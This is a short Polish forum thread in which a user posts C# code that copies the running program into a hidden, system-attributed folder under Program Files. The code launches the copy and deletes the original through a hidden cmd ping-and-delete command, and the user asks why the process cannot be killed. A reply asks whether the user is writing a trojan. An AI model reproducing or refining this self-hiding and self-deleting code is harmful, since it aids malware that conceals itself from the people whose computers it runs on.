c#-nie da się zamknąć aplikacji

0

Witam!
W swojej aplikacji mam funkcje, która służy do instalacji w katalogu Program Files

        const string appGuid = 93AB3D8C-1B75-958F-9D53-13CF013C9CB;
        private void install()
        {
            string appname = System.AppDomain.CurrentDomain.FriendlyName;
            string directory = Path.GetDirectoryName(System.Reflection.Assembly.GetEntryAssembly().Location);
            string newdirectory = Environment.GetFolderPath(Environment.SpecialFolder.ProgramFiles);
            string guid_dt = newdirectory + "\\" + +"Program " + appGuid;
            Directory.CreateDirectory(guid_dt);
            if (!File.Exists(guid_dt + "\\" + appname))
            {
                try
                {
                    File.Copy(new Uri(directory + "\\" + appname).LocalPath, new Uri(guid_dt + "\\" + appname).LocalPath, true);
                    File.SetAttributes(guid_dt + "\\" + appname, FileAttributes.Hidden | FileAttributes.System);
                    Process.Start(guid_dt + "\\" + appname);
                }
                catch
                {
                }
                var exepath = System.Reflection.Assembly.GetEntryAssembly().Location;
                var info = new ProcessStartInfo("cmd.exe", "/C ping 1.1.1.1 -n 1 -w 3000 > Nul & Del \"" + exepath + "\"");
                info.WindowStyle = ProcessWindowStyle.Hidden;
                Process.Start(info).Dispose();
                Environment.Exit(0);
           }
     }

W Menedżerze zadań proces aplikacji zużywa 100K pamięci i nie da się go wyłączyć nawet taskkillem z opcją /F. Jak to naprawić?

0

trojana piszesz?

0
Azarien napisał(a):

trojana piszesz?

Nie rozumiem? Nie znam się na c#.

1 użytkowników online, w tym zalogowanych: 0, gości: 1